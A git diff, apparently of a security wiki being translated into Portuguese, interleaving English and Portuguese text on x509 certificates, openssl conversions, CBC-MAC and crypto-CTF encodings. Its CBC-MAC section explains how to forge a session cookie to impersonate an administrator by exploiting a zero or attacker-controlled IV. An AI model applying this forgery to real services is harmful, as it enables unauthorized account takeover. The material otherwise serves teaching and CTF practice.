- O **Campo Subject** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
- **Nome Comum (CN)**: Domínios cobertos pelo certificado.
- **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
- **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
- **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Subject para a CA.
- O **Período de Validade** é marcado por timestamps **Not Before** e **Not After**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
- A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
- As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Uso de Chave e Extensões**
- **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
- **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
- **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
- Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a singularidade e rastreabilidade das chaves.
- **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado.
- **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Diferença entre OCSP e Pontos de Distribuição CRL**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) envolve um cliente e um respondedor trabalhando juntos para verificar se um certificado digital de chave pública foi revogado, sem a necessidade de baixar o **CRL** completo. Este método é mais eficiente do que o tradicional **CRL**, que fornece uma lista de números de série de certificados revogados, mas requer o download de um arquivo potencialmente grande. Os CRLs podem incluir até 512 entradas. Mais detalhes estão disponíveis [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **O que é Transparência de Certificado**
### **What is Certificate Transparency**
A Transparência de Certificado ajuda a combater ameaças relacionadas a certificados, garantindo que a emissão e a existência de certificados SSL sejam visíveis para proprietários de domínios, CAs e usuários. Seus objetivos são:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Prevenir que CAs emitam certificados SSL para um domínio sem o conhecimento do proprietário do domínio.
- Estabelecer um sistema de auditoria aberto para rastrear certificados emitidos por engano ou maliciosamente.
- Proteger os usuários contra certificados fraudulentos.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Registros de Certificado**
#### **Certificate Logs**
Registros de certificado são registros auditáveis publicamente, apenas para adição, de certificados, mantidos por serviços de rede. Esses registros fornecem provas criptográficas para fins de auditoria. Tanto as autoridades de emissão quanto o público podem enviar certificados para esses registros ou consultá-los para verificação. Embora o número exato de servidores de registro não seja fixo, espera-se que seja inferior a mil globalmente. Esses servidores podem ser gerenciados de forma independente por CAs, ISPs ou qualquer entidade interessada.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Consulta**
#### **Query**
Para explorar os registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formatos**
## **Formats**
### **Formato PEM**
### **PEM Format**
- Formato mais amplamente utilizado para certificados.
- Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
- Extensões comuns: .cer, .crt, .pem, .key.
- Principalmente usado por Apache e servidores similares.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **Formato DER**
### **DER Format**
- Um formato binário de certificados.
- Não possui as declarações "BEGIN/END CERTIFICATE" encontradas em arquivos PEM.
- Extensões comuns: .cer, .der.
- Frequentemente usado com plataformas Java.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **Formato P7B/PKCS#7**
### **P7B/PKCS#7 Format**
- Armazenado em Base64 ASCII, com extensões .p7b ou .p7c.
- Contém apenas certificados e certificados de cadeia, excluindo a chave privada.
- Suportado pelo Microsoft Windows e Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **Formato PFX/P12/PKCS#12**
### **PFX/P12/PKCS#12 Format**
- Um formato binário que encapsula certificados de servidor, certificados intermediários e chaves privadas em um único arquivo.
- Extensões: .pfx, .p12.
- Principalmente usado no Windows para importação e exportação de certificados.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Convertendo Formatos**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**Conversões PEM** são essenciais para compatibilidade:
- **x509 para PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM para DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER para PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM para P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 para PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Conversões PFX** são cruciais para gerenciar certificados no Windows:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX para PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX para PKCS#8** envolve duas etapas:
1. Converter PFX para PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Converter PEM para PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B para PFX** também requer dois comandos:
1. Converter P7B para CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Converter CER e Chave Privada para PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **Edição ASN.1 (DER/PEM)** (funciona com certificados ou quase qualquer outra estrutura ASN.1):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. Converter DER/PEM para o formato de geração do OpenSSL
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. Edite certificatename.tpl de acordo com suas necessidades
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Reconstruir o certificado modificado
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforçar** o **primeiro byte** do cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Código de autenticação de mensagem em encadeamento de bloco** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada à anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Vulnerabilidade
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Com o CBC-MAC, geralmente o **IV usado é 0**.\
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**O que é possível calcular sem conhecer a chave da criptografia.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
### Summary
### Resumo
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
# Attack Controlling IV
# Ataque Controlando IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **se passar** pelo usuário **administrator** com o **IV** inicial.
## References
## Referências
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# Crypto CTFs Tricks
# Truques de Crypto CTFs
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
## DBs de Hashes Online
- _**Google it**_
- _**Pesquise no Google**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -16,124 +16,119 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
## Solucionadores Automáticos Mágicos
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo Mágico)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
## Codificadores
Most of encoded data can be decoded with these 2 ressources:
A maioria dos dados codificados pode ser decodificada com esses 2 recursos:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
### Solucionadores Automáticos de Substituição
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Muito bom!
#### Caesar - ROTx Autosolvers
#### Solucionadores Automáticos de César - ROTx
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
#### Cifra Atbash
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
### Solucionador Automático de Codificações Base
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Verifique todas essas bases com: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Hexadecimal Estendida** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 ou RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Teclado Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Letras para seu valor numérico
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Codificação de Cifra Afim
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
```
krodfdudfrod
```
### Código SMS
### SMS Code
**Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
Por exemplo: 2=A, 22=B, 222=C, 3=D...\
Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
### Código Bacon
Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
## Compressão
